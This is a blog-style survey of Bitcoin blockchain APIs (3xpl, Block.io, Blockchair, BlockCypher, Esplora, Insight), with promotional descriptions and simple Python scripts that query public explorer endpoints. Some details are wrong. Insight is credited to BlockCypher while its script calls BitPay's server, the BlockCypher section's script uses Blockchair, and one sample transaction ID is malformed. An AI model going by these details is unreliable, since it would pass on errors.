Архивы Cryptanalysis - «CRYPTO DEEP TECH» https://cryptodeeptech.ru/category/cryptanalysis/ Cryptanalysis and data financial security services Thu, 25 Apr 2024 15:06:50 +0000 en-US hourly 1 https://wordpress.org/?v=6.5.2 https://cryptodeeptech.ru/wp-content/uploads/2022/07/cropped-favicon7-32x32.png Архивы Cryptanalysis - «CRYPTO DEEP TECH» https://cryptodeeptech.ru/category/cryptanalysis/ 32 32 Blockchain integration: API and web services capabilities for secure Bitcoin transactions https://cryptodeeptech.ru/blockchain-api-and-web-services/ Wed, 10 Apr 2024 17:45:22 +0000 https://cryptodeeptech.ru/?p=2755 In the modern world of digital technology, the topic of blockchain is becoming increasingly important. Blockchain technologies promise to revolutionize various areas of the economy and information systems by providing reliable and transparent ways to maintain records. One of the key aspects of implementing and using blockchain in business and application development is blockchain APIs […]

Сообщение Blockchain integration: API and web services capabilities for secure Bitcoin transactions появились сначала на «CRYPTO DEEP TECH».

]]>
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

In the modern world of digital technology, the topic of blockchain is becoming increasingly important. Blockchain technologies promise to revolutionize various areas of the economy and information systems by providing reliable and transparent ways to maintain records. One of the key aspects of implementing and using blockchain in business and application development is blockchain APIs and web services. These tools allow you to integrate blockchain functionality into various information systems, simplifying and speeding up the process of interaction with distributed ledger technology.

The purpose of this article is to highlight the concept of blockchain APIs, explore the main types of web services used to work with blockchain networks, and analyze their application in real business models. We’ll look at the technical aspects of blockchain API integration, the advantages and disadvantages of different approaches, and the potential risks and challenges facing developers and enterprises when implementing these technologies.

https://dzen.ru/video/watch/6617ad848b9fc93b9ba699c7

The article will provide an overview of key platforms that support blockchain APIs and examples of successful cases demonstrating the effectiveness of their use in various industries. Particular attention will be paid to issues of data security and confidentiality when working with blockchain networks through APIs and web services.

Let’s discuss the prospects for the development of blockchain APIs and web services, as well as their impact on the future of the digital economy and information technology.

Main types of APIs and their applications:

In our article we will provide practical recommendations for working with the APIs of various blockchain platforms, such as Bitcoin, Ethereum, etc.

One of the promising areas of research related to this topic may include the development of new and improvement of existing APIs for blockchain platforms, as well as the analysis and comparison of their efficiency and security. In addition, it is possible to study the integration of blockchain APIs with other systems and applications, as well as the development of new web services based on the blockchain.

Thus, the article can serve as a good starting point for researchers interested in this field and provide them with useful information for further study of the topic.


Prospects for scientific research on the topic of blockchain, APIs and web services:

  1. Security Analysis : Research into vulnerabilities and API security techniques associated with blockchain platforms.
  2. Performance improvements : Developing new methods for optimizing requests to the blockchain via API to speed up data processing and reduce network load.
  3. Integration with other technologies : Explore the possibilities of integrating blockchain APIs with artificial intelligence, machine learning or the Internet of things.
  4. Cross-Platform Usage : Analyze the opportunities and challenges of using blockchain APIs across different industries and development environments.
  5. User Experience : Exploring how to improve user experience with blockchain web services through more intuitive and user-friendly APIs.
  6. Regulatory and Legal Aspects : Analysis of legal issues and regulatory requirements associated with the use of blockchain technologies through web services.
  7. Economic Aspects : Assessing the economic impact of blockchain technologies on various economic sectors through APIs and web services.

Classifications of APIs and web services related to blockchain technology. For blockchain research, we offer systematization and analysis of existing solutions in this area.

By direction of use :

  • Financial transactions (for example, cryptocurrency transfers)
  • Data management (e.g. data storage and recovery)
  • Smart contracts (e.g. contract automation and digital asset management)
  • Security (such as authentication and data encryption)

By type of access provided :

  • Public API – available to everyone
  • Private API – available only to a limited number of users or developers
  • Hybrid API – a combination of public and private access

By level of abstraction :

  • Low-level APIs – provide direct access to basic blockchain functions (for example, working with transactions)
  • High-level APIs – abstract complex technical details, providing a convenient interface for developers (e.g. libraries and frameworks)

By type of interaction :

  • RESTful API – uses the REST architectural style based on the use of HTTP requests
  • RPC (Remote Procedure Call) API – allows you to remotely call procedures or functions, usually using TCP or UDP protocols
  • WebSocket API – provide two-way real-time communication between client and server

According to the protocols used :

  • HTTP protocol is a widely used protocol for transferring data on the web.
  • TCP and UDP are transport layer protocols used for reliable (TCP) or fast (UDP) data transmission
  • Special protocols – for example, Whisper, used on the Ethereum network for secure messaging

By security level :

  • Secure APIs – use encryption methods, digital signatures and other data protection measures
  • Insecure APIs – do not provide or provide limited security measures, require additional protection measures from developers

By type of information provided :

  • Public information – for example, information about blocks, transactions, smart contracts, which is available to all network participants
  • Private data – for example, data that is accessible only to certain users or network nodes

By level of integration :

  • Monolithic APIs – provide a wide range of functions within a single interface
  • Microservices APIs – represent individual functional blocks that can interact with each other to perform complex tasks

By type of data used :

  • Structured data – e.g. JSON, XML
  • Unstructured data – for example, text documents, images, videos

By type of services provided :

  1. Information services – provide data on the blockchain, cryptocurrency prices, etc.
  2. Analytical services – offer tools for blockchain data analysis and forecasting
  3. Transactional services – allow you to conduct transactions with cryptocurrencies, manage smart contracts, etc.

These classifications help organize and understand the variety of APIs and web services associated with blockchain technology and can be useful for developers, researchers and users interested in using blockchain and cryptocurrencies.


3xpl.com – Fastest ad-free universal block explorer

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

In the era of cryptocurrencies, ensuring transparency and availability of information about blockchain transactions becomes critical. Users, investors and developers need reliable tools to track and analyze data stored on the blockchain. In this regard, the emergence of the 3xpl.com service represents a significant step in meeting this need. 3xpl.com is a universal blockchain explorer that offers users the ability to quickly and efficiently explore data in various blockchains without intrusive advertising and unnecessary delays. In this article, we will look at the key features and benefits of using 3xpl.com to monitor cryptocurrency transactions and analyze blockchains, and evaluate how this tool can change the way we work with digital assets.

If you are looking for a fast and convenient way to explore blockchain, 3xpl.com is exactly what you need. This all-in-one block explorer offers instant access to blockchain data without annoying ads.

With a clean and intuitive interface, 3xpl.com provides a seamless user experience. You can easily search for transactions, addresses, and blocks across multiple blockchain networks, including Bitcoin, Ethereum, Litecoin, and many more.

One of the most impressive features of 3xpl.com is its speed. Block Explorer uses advanced technology to ensure instant page loading and fast data access. This is ideal for traders and cryptocurrency enthusiasts who need fast and reliable access to blockchain information.

In addition, 3xpl.com is completely ad-free. This means you can focus on analyzing your data without distractions or unnecessary delays. The site has a minimalistic design, which makes it easy to navigate and find the necessary information.

The 3xpl.com functionality includes transaction details, including time, amount and corresponding addresses. You can also view block information such as size, height, and block reward. For those who want to go deeper, the transaction source code is available to view.

The versatility of 3xpl.com is also impressive. Block Explorer supports multiple cryptocurrencies, allowing you to access data from multiple blockchains from one convenient platform. This is ideal for those who work with multiple cryptocurrencies or simply want to explore different networks.

Security is also a priority for 3xpl.com. The site uses a secure connection, ensuring the confidentiality and integrity of your requests. You can rest assured that your activity and information remain protected.

3xpl.com features include:

  1. Search by Transaction: Users can search for specific transactions using transaction ID or address. This allows you to quickly check the status and details of a transaction.
  2. View Blocks: You can view the latest blocks mined on the network, including block size, number of transactions, and block reward information.
  3. Network Statistics: 3xpl.com provides detailed network statistics such as overall hash rate, number of nodes and difficulty level. This gives users insight into the health and security of the network.
  4. Multi-Cryptocurrency Support: The platform supports a wide range of cryptocurrencies, allowing users to switch between them and explore data from different blockchains.
  5. Developer API: 3xpl.com also offers an API that allows developers to integrate blockchain data into their applications or services.

With 3xpl.com, users can be assured of security and privacy. The platform does not store users’ personal data and uses a secure connection to protect privacy.

Overall, 3xpl.com is a powerful and user-friendly block explorer that offers instant access to blockchain data without ads. Its speed, versatility and intuitive interface make it a great tool for anyone interested in exploring the world of blockchain. Visit 3xpl.com today to start your blockchain journey!

Python script that can be used to create a basic block explorer for cryptocurrency:

import requests
from datetime import datetime

class BlockExplorer:
    def __init__(self, api_url):
        self.api_url = api_url

    def get_block_height(self):
        response = requests.get(f'{self.api_url}/block-height')
        return response.json()['height']

    def get_block_by_height(self, block_height):
        response = requests.get(f'{self.api_url}/block/{block_height}')
        return response.json()

    def get_transaction_by_id(self, tx_id):
        response = requests.get(f'{self.api_url}/transaction/{tx_id}')
        return response.json()

def main():
    api_url = 'https://3xpl.com/api'  # Replace with the actual API URL
    explorer = BlockExplorer(api_url)

    print("Welcome to the 3xpl.com Block Explorer!")
    print("----------------------------------------")

    while True:
        print("\nOptions:")
        print("1. Get block height")
        print("2. Get block by height")
        print("3. Get transaction by ID")
        print("4. Exit")

        choice = input("Enter your choice (1/2/3/4): ")

        if choice == '1':
            block_height = explorer.get_block_height()
            print(f"Current block height: {block_height}")
        elif choice == '2':
            try:
                block_height = int(input("Enter the block height: "))
                block_data = explorer.get_block_by_height(block_height)
                print("Block Data:")
                print(block_data)
            except requests.exceptions.RequestException as e:
                print(f"Error fetching block data: {e}")
        elif choice == '3':
            tx_id = input("Enter the transaction ID: ")
            tx_data = explorer.get_transaction_by_id(tx_id)
            print("Transaction Data:")
            print(tx_data)
        elif choice == '4':
            print("Exiting...")
            break
        else:
            print("Invalid choice. Please select a valid option.")

if __name__ == '__main__':
    main()

This script provides a basic command line interface for interacting with the block explorer API. Users can select different options to retrieve block height, block data by height, or transaction data by ID. The script sends requests to the API and displays the results to the user.

Remember that you will need to replace ‘https://3xpl.com/api’ with the actual URL of the block explorer API you are using.

This script can be extended by adding additional functions such as searching for an address, getting an account balance, or getting a list of recent blocks. You can also add error handling and improve the user interface.


Block.io: Bitcoin API and More

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Block.io is a feature-rich platform that provides a wide range of crypto-related services, including Bitcoin API, wallets and exchange service. Block.IO is in functionality, which offers a reliable and efficient API for working with Bitcoin and other cryptocurrencies. Moreover, we will dive into the details of using this platform, its benefits and the opportunities it provides for developers and businesses to integrate cryptocurrency solutions into their applications and services. Flawlessly supported and constantly improved, Block.IO deserves the attention of anyone looking for reliable tools for cryptocurrency activities.

API Bitcoin

Block.io’s Bitcoin API allows developers to integrate Bitcoin functionality into their apps and websites. The API provides a full set of functions, including:

  • Creation and management of Bitcoin wallets
  • Sending and receiving Bitcoin payments
  • Bitcoin Transaction Tracking
  • Getting Bitcoin price quotes
  • Access to information about the Bitcoin blockchain

The API is available via HTTP and RESTful and can be used with any programming language.

Wallets

Block.io offers different types of wallets for storing Bitcoin, including:

  • Hot Wallet: An online wallet that allows you to easily send and receive Bitcoin.
  • Cold Wallet: An offline wallet that provides a higher level of security for long-term storage.
  • Multi-signature wallet: A wallet that requires multiple signatures to complete transactions, increasing security.

Exchange service

Block.io also provides an exchange service that allows users to exchange Bitcoin for other cryptocurrencies or fiat currencies. The exchange service offers competitive rates and fast exchanges.

Other functions

In addition to the main services, Block.io also offers the following features:

  • Bitcoin Gift Cards: Users can buy Bitcoin gift cards and send them to friends and family.
  • WooCommerce Integration: The WooCommerce plugin allows businesses to accept Bitcoin payments on their websites.
  • Accounting Reporting: Block.io provides reports that help users track their Bitcoin transactions for tax purposes.

Benefits of Block.io

Block.io offers a number of benefits, including:

  • Reliability: The platform was launched in 2012 and has a reliable reputation.
  • Convenience: The API is easy to use and integrates with various programming languages.
  • Security: Block.io uses advanced security measures to protect users’ assets.
  • Support: The platform offers excellent customer support, available 24/7.

Block.io is a powerful and reliable platform that provides a full range of crypto-related services. Its Bitcoin API, wallets and exchange service make it an ideal choice for developers, businesses and individuals who want to interact with cryptocurrencies securely and easily. Block.io is also a universal solution for developers that provides an API for working with the Bitcoin cryptocurrency. Thanks to this API, developers can easily integrate Bitcoin functionality into their applications without having to conduct deep research into blockchain technology.

Let’s look at the main features of Block.io that are available to developers, as well as its advantages over other APIs for working with Bitcoin.

  1. Key Features of Block.io

a. API for working with addresses

Block.io provides an API for working with Bitcoin addresses. With it, developers can create, edit, and delete addresses. In addition, the API allows you to obtain information about the address balance and conduct transactions.

b. API for working with transactions

The transaction API allows you to create and cancel transactions, check their status, and obtain information about transactions associated with a specific address.

c. API for working with blockchain

Block.io provides access to information about the Bitcoin blockchain, including information about blocks, transactions, and transactions within a block. This is useful for developers who want to analyze the Bitcoin network or create their own blockchain applications.

d. API for working with reporting tools

Block.io provides reporting tools to obtain information about your API usage, including information about requests, responses, and errors. This is useful for developers who want to optimize their API experience and avoid errors.

  1. Advantages of Block.io over other APIs for working with Bitcoin

a. Easy to use

Block.io was designed with ease of use in mind. Its API is easy to use and allows you to quickly integrate Bitcoin functionality into your applications.

b. Low tariffs

Block.io offers rates that are lower than many other Bitcoin APIs. This makes it more attractive to developers on a budget.

c. 24/7 support

Block.io offers 24/7 support for its customers. This allows developers to quickly resolve problems and continue their work without interruption.

V. Open API

Block.io has an open API, which means developers can easily integrate it into their applications and build their own API-based solutions.

V. Safety

Block.io provides a high degree of security for its clients. It uses security protocols such as HTTPS and SSL to protect data from unauthorized access.

Python script for working with Block.io API:

import requests

# Замените YOUR_API_KEY на ваш API ключ от Block.io
API_KEY = 'YOUR_API_KEY'

# URL для доступа к Block.io API
BASE_URL = 'https://block.io/api/v2'

# Получение баланса аккаунта
def get_balance():
    url = f'{BASE_URL}/get_balance/?api_key={API_KEY}'
    response = requests.get(url)
    if response.status_code == 200:
        data = response.json()
        if data['status'] == 'success':
            print(f"Ваш баланс: {data['data']['available_balance']} BTC")
        else:
            print(f"Ошибка: {data['data']['error_message']}")
    else:
        print("Произошла ошибка при обращении к API")

# Создание нового адреса для получения платежей
def create_address():
    url = f'{BASE_URL}/get_new_address/?api_key={API_KEY}'
    response = requests.get(url)
    if response.status_code == 200:
        data = response.json()
        if data['status'] == 'success':
            print(f"Новый адрес создан: {data['data']['address']}")
        else:
            print(f"Ошибка: {data['data']['error_message']}")
    else:
        print("Произошла ошибка при обращении к API")

# Вызов функций для работы с Block.io API
get_balance()
create_address()

Don’t forget to replace YOUR_API_KEYthe Block.io API key with your own. In this example, the script displays the account balance and creates a new address to receive payments. You can add other API methods and operations as you wish.


blockchair.com – Universal blockchain explorer and search engine.

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Blockchair.com is a one-stop blockchain description and search engine that is ready to shed light on the complex world of blockchain technology. You will learn more about this useful resource in our article.

Blockchair.com is an innovative platform that provides users with a wide range of tools for research and analysis of various blockchains. This universal browser and search engine allows you to easily and conveniently obtain detailed information about transactions, addresses, blocks and other important elements of the blockchain ecosystem.

Key Features of Blockchair.com

  1. Multiple Blockchain Support: Blockchair.com works with a wide range of popular blockchains including Bitcoin, Ethereum, Bitcoin Cash, Litecoin, Dash, Ripple and many more. This allows users to get comprehensive information from different blockchain networks in one place.
  2. Advanced Search: The platform offers powerful search tools that allow users to find specific transactions, addresses or blocks based on various parameters. This greatly simplifies the process of researching and analyzing blockchain data.
  3. Detailed Analytics: Blockchair.com provides detailed information about each blockchain, including statistics on transactions, trading volumes, miner activity and much more. This data helps users better understand the current status and development trends of various blockchain networks.
  4. User-friendly interface: The platform has an intuitive and user-friendly interface that allows even inexperienced users to easily navigate and find the information they need. Data visualization using graphs and charts makes blockchain analysis even more clear.
  5. Developer API: Blockchair.com offers a powerful API that allows developers to integrate the platform’s functionality into their own applications and services. This opens up great opportunities for creating innovative blockchain solutions.

Application of Blockchair.com

The universal browser and search engine Blockchair.com is used in various areas related to blockchain technologies:

  • Research and Analysis: The platform is a valuable tool for researchers, analysts and blockchain enthusiasts, allowing them to deeply study various aspects of blockchain networks and obtain valuable data for their projects.
  • Application Development: Developers can use Blockchair.com’s API to create various blockchain applications such as wallets, exchanges, analytics tools and more.
  • Transaction Monitoring: Users can monitor their own transactions or those of other addresses to monitor the movement of funds and ensure transaction transparency.
  • Investigative Journalism: Journalists and researchers can use Blockchair.com to find and analyze suspicious transactions or assets

Key features of Blockchair.com:

  1. Search and analysis of transactions. On the site you can find information about any transaction, including its status, amount, commission, inputs and outputs. You can also view the detailed transaction history of a wallet or address.
  2. Block exploration. Users can study the structure of blocks, view the transactions included in them, and track block statistics such as size, creation time, miner rewards, etc.
  3. Network monitoring. Blockchair provides extensive network analytics, including transaction volume, fees, hashrate, mempool size, and other important metrics.
  4. Developer Tools. The platform provides APIs, SDKs, and other tools that allow you to integrate Blockchair functionality into your own applications.
  5. Notifications and alerts. Users can set up custom alerts for transactions, blocks or other network events.

Blockchair stands out from other blockchain explorers with its versatility and wide range of data analysis tools. This is an indispensable resource for both ordinary users and developers, researchers and analysts in the field of cryptocurrencies and blockchain.


Python script that uses the blockchair.com API to obtain information about a block of the Bitcoin blockchain:

import requests

# Адрес API blockchair.com для биткойна
API_URL = 'https://api.blockchair.com/bitcoin/blocks'

# Хэш блока, который нас интересует
BLOCK_HASH = '000000000000000000024beed69ad1a601021f939b4c26eec894a0ab42b64f0a'

# Отправляем запрос к API
response = requests.get(API_URL + '/' + BLOCK_HASH)

# Проверяем, что ответ успешный
if response.status_code == 200:
    # Преобразуем ответ в JSON-объект
    block_data = response.json()

    # Выводим информацию о блоке
    print('Хэш блока:', block_data['data']['hash'])
    print('Версия:', block_data['data']['version'])
    print('Время:', block_data['data']['time'])
    print('Сложность:', block_data['data']['bits'])
    print('Количество транзакций:', block_data['data']['n_tx'])
else:
    print('Ошибка при получении информации о блоке')

This script uses a module requeststo send a request to the blockchair.com API and retrieve block information with the specified hash. It then outputs some information about the block, such as its hash, version, time, difficulty, and number of transactions.

You can replace the value of a variable BLOCK_HASHwith the hash of any other block to get information about it. You can also change the API address to use the blockchair.com API for a different cryptocurrency (such as https://api.blockchair.com/ethereum/blocksEthereum).


BlockCypher – Blockchain Web Services

Blockchain integration: API and web services capabilities for secure Bitcoin transactions
Blockchain integration: API and web services capabilities for secure Bitcoin transactions

Technological advancements are never stagnant these days and blockchain, especially the BlockCypher protocol, has undergone significant development as a key tool for secure and transparent transactions in the world of cryptocurrencies. Blockchain systems, such as Ethereum, Bitcoin and others, protect data from violations thanks to decentralization and digital encryption. This article is about BlockCypher, responsible for providing high-performance and reliable web services that make working with blockchain more accessible and efficient for developers and investors. You will understand how this tool is driving the development of the cryptocurrency industry and how its use is changing the way we think about financial transactions in the digital world.

BlockCypher is a leading blockchain cloud services company. Founded in 2014, BlockCypher allows developers and organizations to easily integrate blockchain technologies into their products and applications.

What does BlockCypher offer?

BlockCypher’s core services include:

  • Full blockchain nodes – BlockCypher manages full nodes of popular blockchains such as Bitcoin, Ethereum, Litecoin, etc. This allows developers to interact with blockchains without having to deploy and maintain the infrastructure themselves.
  • Development Tools – BlockCypher provides a wide range of APIs, SDKs and tools to simplify the integration of blockchains into applications. This includes features for sending transactions, checking balances, creating wallets, and more.
  • Analytics and Monitoring – BlockCypher offers tools to analyze activity on blockchains in real time, including tracking transactions, addresses, and other statistics.
  • Security and Compliance – BlockCypher solutions ensure security and regulatory compliance when working with blockchains.

Using BlockCypher

BlockCypher is used by a wide range of clients, including fintech startups, cryptocurrency exchanges, payment processors, and other organizations looking to integrate blockchain technology into their products. With ease of use and reliability, BlockCypher helps accelerate the adoption of blockchains in the real world. BlockCypher is a cloud platform that provides web services for working with cryptocurrency blockchains such as Bitcoin, Litecoin, Dogecoin and Dash. The company was founded in 2014 and is based in Redwood City, California.

Key features of BlockCypher

  1. BlockCypher Blockchain API
    provides a REST API for interacting with various blockchains, including retrieving transaction data, wallet balances, blocks, and other information. This allows developers to easily integrate blockchain functionality into their applications.
  2. Microservices
    The BlockCypher platform offers ready-made microservices, such as generating wallet addresses, creating and sending transactions, and notifying about new transactions. These microservices can be easily integrated into applications, simplifying the development process.
  3. Monitoring and Analytics
    BlockCypher provides tools for monitoring and analyzing activity on the blockchain. Developers can track transactions, wallet balances, and other metrics, which is useful for creating cryptocurrency-related applications.
  4. Scalability and security
    Thanks to its cloud-based architecture, BlockCypher ensures high scalability and reliability of its services. The company also places great emphasis on security, using advanced encryption and data protection methods.

Application of BlockCypher

BlockCypher finds application in various areas where integration with cryptocurrency blockchains is required:

  1. Financial Applications : Cryptocurrency companies can use BlockCypher to create wallets, track transactions, and manage balances.
  2. Internet of Things (IoT) : BlockCypher can be used to build decentralized Internet of Things applications where devices can securely communicate and perform micropayments.
  3. Gaming and Entertainment : Gaming companies can use BlockCypher to integrate cryptocurrencies into their apps, allowing users to make purchases and earn rewards.
  4. Logistics and Supply Chain : BlockCypher can be used to track the movement of goods and assets through the supply chain using blockchain.

With its powerful capabilities and wide range of supported blockchains, BlockCypher is becoming a popular choice for developers looking to integrate blockchain technology into their applications.

Overall, BlockCypher is a leading provider of cloud-based blockchain services, offering end-to-end solutions for developers and companies looking to leverage the benefits of blockchain technologies.


Python script for obtaining data about a specific block using the API from blockchair.com:

import requests

# Замените 'bitcoin' на любую другую криптовалюту, если нужно
blockchain = 'bitcoin'
block_number = 1  # Номер блока, о котором нужно получить информацию

url = f'https://api.blockchair.com/{blockchain}/blocks/{block_number}'
response = requests.get(url)

if response.status_code == 200:
    block_data = response.json()
    print('Информация о блоке:')
    print(f'Высота блока: {block_data["data"][str(block_number)]["block"]["height"]}')
    print(f'Хэш блока: {block_data["data"][str(block_number)]["block"]["hash"]}')
    print(f'Временная метка: {block_data["data"][str(block_number)]["block"]["time"]}')
    print(f'Количество транзакций: {len(block_data["data"][str(block_number)]["transactions"])}')
else:
    print('Ошибка при получении данных')

This script uses the requests library to send a request to the blockchair.com API and display information about the block with the given block number. Please remember that use of the API requires compliance with the service’s terms of use.


A Python script that makes requests to the API of these web services.

  1. Install the requests library if you don’t already have it:
pip install requests
  1. Import the requests library in your script:
import requests
  1. Make a GET request to the blockchair.com or BlockCypher API (replace the URL with the one you need):
url = 'https://api.blockchair.com/bitcoin/stats'
response = requests.get(url)

if response.status_code == 200:
    data = response.json()
    print(data)
else:
    print('Ошибка при получении данных:', response.status_code)

This is a simple example that can be adapted to work with the specific APIs and data you need. Be sure to review the API documentation to find out what requests are supported and how to handle the returned data.


Esplora – Self-hosted blockchain explorer

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

It’s easy for users to view and analyze transactions, addresses, and other important information on the blockchain. Esplora is a popular open source browser that you can deploy on your own server. We will try to look at the features of Esplora, the advantages of self-hosting and step-by-step instructions for installing and configuring it. Join us to learn how to use Esplora to explore blockchain and improve your cryptocurrency experience.

Esplora is a powerful tool for viewing and analyzing blockchain data. This is open source software that allows you to independently deploy and manage your own blockchain browser. It can be used to explore various blockchains, including Bitcoin, Litecoin and others.

Let’s look at the features of Esplora, its installation process and the advantages of using a personal blockchain browser. Join us on an exciting journey into the world of decentralized technologies!

Key features of Esplora

  1. Self-deployment : Esplora can be deployed locally on your own server or virtual machine. This provides complete control over your data and increased privacy.
  2. Multi-Blockchain Support : Esplora supports multiple blockchains, including Bitcoin, Litecoin, and other Bitcoin-compatible blockchains. This makes it a versatile tool for research and analysis.
  3. Advanced Search and Filtering Features : Esplora provides powerful search and filtering tools to easily find specific transactions, addresses, or blocks based on various criteria.
  4. Data Visualization : Esplora offers easy-to-use visualizations of blockchain data such as transaction graphs, block reward distributions, and other statistics.
  5. API for integration : Esplora has a built-in API that allows you to integrate it with other applications and tools to automate tasks and collect data.

Application of Esplora

Esplora can be useful in a variety of scenarios, including:

  1. Blockchain Research : Developers, researchers, and enthusiasts can use Esplora to deeply analyze blockchain data, track transactions, and study block structure.
  2. Audit and Compliance : Companies and organizations dealing with cryptocurrencies can use Esplora to conduct audits and ensure regulatory compliance by tracking the origin of funds and other important details.
  3. Educational Purposes : Esplora can be a useful tool for educators and students studying blockchain and cryptocurrencies by providing hands-on experience working with real-world blockchain data.

Esplora is a self-hosted blockchain explorer that allows users to explore and analyze data on any blockchain. This tool was developed by the Blockstream team and is designed to provide a reliable and secure way to interact with the blockchain without having to rely on centralized third-party services.

Key features of Esplora

  1. Self-hosted : Esplora can be easily deployed on your own server or cloud infrastructure, giving users complete control over their data and privacy.
  2. Multiple Blockchain Support : Esplora supports a variety of blockchains, including Bitcoin, Litecoin, Liquid, and more. This makes it a versatile tool for exploring different cryptocurrency ecosystems.
  3. Detailed information about transactions and blocks : Esplora provides detailed information about transactions, including inputs, outputs, fees, status and more. Users can also view details about blocks such as height, hash, creation time, and size.
  4. Intuitive User Interface : Esplora’s interface is simple and easy to use. Users can easily search, filter and analyze blockchain data.
  5. APIs and Integrations : Esplora provides a powerful API that allows other applications and services to interact with the blockchain through this tool. This makes it an ideal option for developers who want to build blockchain explorer functionality into their projects.

Benefits of using Esplora

The main advantage of Esplora is the ability to independently host and control the blockchain explorer. This allows users to avoid dependence on centralized services and provides a higher level of privacy and security. Additionally, Esplora provides rich functionality and analytics capabilities for blockchain data, making it a valuable tool for developers, analysts, and researchers.

Python script for interacting with Esplora – a self-hosted blockchain explorer:

import requests

# Esplora API endpoint
ESPLORA_URL = "https://blockstream.info/api"

# Функция для получения информации о блоке
def get_block_info(block_hash):
    url = f"{ESPLORA_URL}/block/{block_hash}"
    response = requests.get(url)
    if response.status_code == 200:
        return response.json()
    else:
        return None

# Функция для получения информации о транзакции
def get_tx_info(tx_id):
    url = f"{ESPLORA_URL}/tx/{tx_id}"
    response = requests.get(url)
    if response.status_code == 200:
        return response.json()
    else:
        return None

# Пример использования
block_hash = "000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f"
block_info = get_block_info(block_hash)
if block_info:
    print(f"Block height: {block_info['height']}")
    print(f"Block timestamp: {block_info['timestamp']}")
    print(f"Block transactions: {len(block_info['tx'])}")

tx_id = "e10e2e8c7cf517b1c252cdf95d75bc0f7f5c8d4d76d0c3c9a55e9f2ad75e76d"
tx_info = get_tx_info(tx_id)
if tx_info:
    print(f"Transaction ID: {tx_info['txid']}")
    print(f"Transaction size: {tx_info['size']} bytes")
    print(f"Transaction fee: {tx_info['fee']} satoshis")

This script uses the Esplora API to retrieve information about blocks and transactions on the blockchain. It contains two functions:

  1. get_block_info(block_hash): Retrieves information about the block with the specified hash.
  2. get_tx_info(tx_id): Retrieves information about the transaction with the specified ID.

The use case shows how to call these functions to obtain information about a specific block and transaction.

Please note that this script uses a library requeststo make HTTP requests to the Esplora API. Make sure you have this library installed before running the script.

In conclusion, Esplora is a powerful and flexible blockchain explorer that allows users to self-manage their data and interact with the blockchain on a deeper level. Its broad support for various blockchains, intuitive interface, and API capabilities make it an excellent choice for those looking for a robust and customizable tool for exploring cryptocurrency ecosystems. Esplora is a powerful and flexible blockchain research tool that provides complete data control and advanced analysis capabilities. Its open source and self-deployment make it an attractive option for those who value privacy and flexibility.


Insight REST API bitcoin network

Blockchain integration: API and web services capabilities for secure Bitcoin transactions

In a world where cryptocurrencies are becoming an increasingly popular and widely used form of digital money, it is important to understand how the Bitcoin network works and what tools are available to interact with it. In this article, we’ll look at the REST API, which provides a convenient and easy way to get information about the Bitcoin network and manage your transactions. The REST API is a powerful tool that allows developers and users to create applications and services that interact with the Bitcoin network. To effectively interact with this network and obtain up-to-date information about its status, developers often use specialized APIs. One such API is the Insight REST API, which provides easy access to core Bitcoin blockchain data. In this article, we’ll explore the capabilities of the Insight API and learn how it can be used to create applications that work with the Bitcoin network.

Insight is an open source REST API for interacting with the Bitcoin network. It provides developers with a simple and convenient way to obtain information about the Bitcoin blockchain and perform various operations on it.

Key features of the Insight REST API:

Getting information about blocks and transactions :

  • Getting data about the latest blocks
  • Getting information about a specific block by its hash or height
  • Obtaining data about transactions in a block or by their hash

Sending and receiving transactions :

  • Sending new transactions to the network
  • Retrieving status and details of existing transactions

Working with addresses :

  • Obtaining information about the balance, received and sent transactions for a given address
  • Retrieving a list of addresses associated with a given address (transaction inputs and outputs)

Access to network data :

  • Obtaining network statistics, including overall balance, hashrate, difficulty, etc.
  • Obtaining information about the state of nodes (peers) in the network

The Insight REST API is built on top of Node.js and uses proven Bitcoin blockchain libraries such as Bitcore. It provides a simple and intuitive interface to integrate with the Bitcoin network in your applications.

Key benefits of using the Insight REST API:

  • Open source and active developer community
  • Supports a wide range of Bitcoin blockchain operations
  • Possibility of self-deployment of the API server
  • Cross-platform and easy integration


Today, as cryptocurrencies become increasingly popular and widely used, understanding their internal functioning and interaction with the network is of utmost importance. The REST API (Representational State Transfer Application Programming Interface) for the Bitcoin network is a tool that allows us to access various data and functions of the network, providing flexibility and efficiency in the analysis and development of applications related to cryptocurrency. In this article, we will look at the Insigh REST API, one such tool that provides unique capabilities for exploring and managing Bitcoin transactions.

Insigh REST API Basics:


The Insight REST API is a set of programming interfaces developed by BlockCypher that allows developers to access and process information about transactions, wallets, blocks, and other aspects of the Bitcoin network. The API is available in open-source format, which allows you to freely use and modify it for various purposes.

The main features of the Insigh REST API include:

  1. Obtaining information about wallets: The API allows you to obtain information about the wallet balance, list of transactions, entry and exit addresses.
  2. Transaction Analysis: Developers can get detailed information about each transaction, including date, amount, sender and recipient addresses, and other metadata.
  3. Blockchain Navigation: The Insigh REST API provides access to block information, allowing users to explore the history and structure of the Bitcoin network.
  4. Transaction Management: Developers can create, validate and manage new transactions using the API.

Benefits of using Insigh REST API:

  1. Flexibility and Versatility: The API supports various programming languages ​​such as Python, JavaScript, Ruby and others, allowing developers to use it in a variety of projects.
  2. Resolved Speed: The Insigh REST API provides high request processing speed, making real-time monitoring and analysis of transactions possible.
  3. Free: The basic functionality of the Insigh REST API is provided free of charge, making it accessible to a wide range of developers.
  4. Updated Database: The API is constantly updated to provide accurate and up-to-date information about the Bitcoin network.

Python script for obtaining information about the block and address balance:

To interact with the Insight REST API of Bitcoin Network, you can use a library requestsin Python.

import requests

def get_block_info(block_hash):
    url = f'https://insight.bitpay.com/api/block/{block_hash}'
    response = requests.get(url)
    if response.status_code == 200:
        return response.json()
    else:
        return None

def get_address_balance(address):
    url = f'https://insight.bitpay.com/api/addr/{address}/balance'
    response = requests.get(url)
    if response.status_code == 200:
        return int(response.text) / 1e8
    else:
        return None

if __name__ == "__main__":
    # Замените здесь свой блок-хэш и адрес
    block_hash = '00000000000000000007ed0e1a7eac8d5fd7a1dd839067f8ca5d0ab0f3efc2a9'
    address = '1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa'

    block_info = get_block_info(block_hash)
    if block_info:
        print(f'Block Info: {block_info}')
    else:
        print(f'Could not fetch block info for {block_hash}')

    balance = get_address_balance(address)
    if balance is not None:
        print(f'Address Balance: {balance} BTC')
    else:
        print(f'Could not fetch balance for {address}')

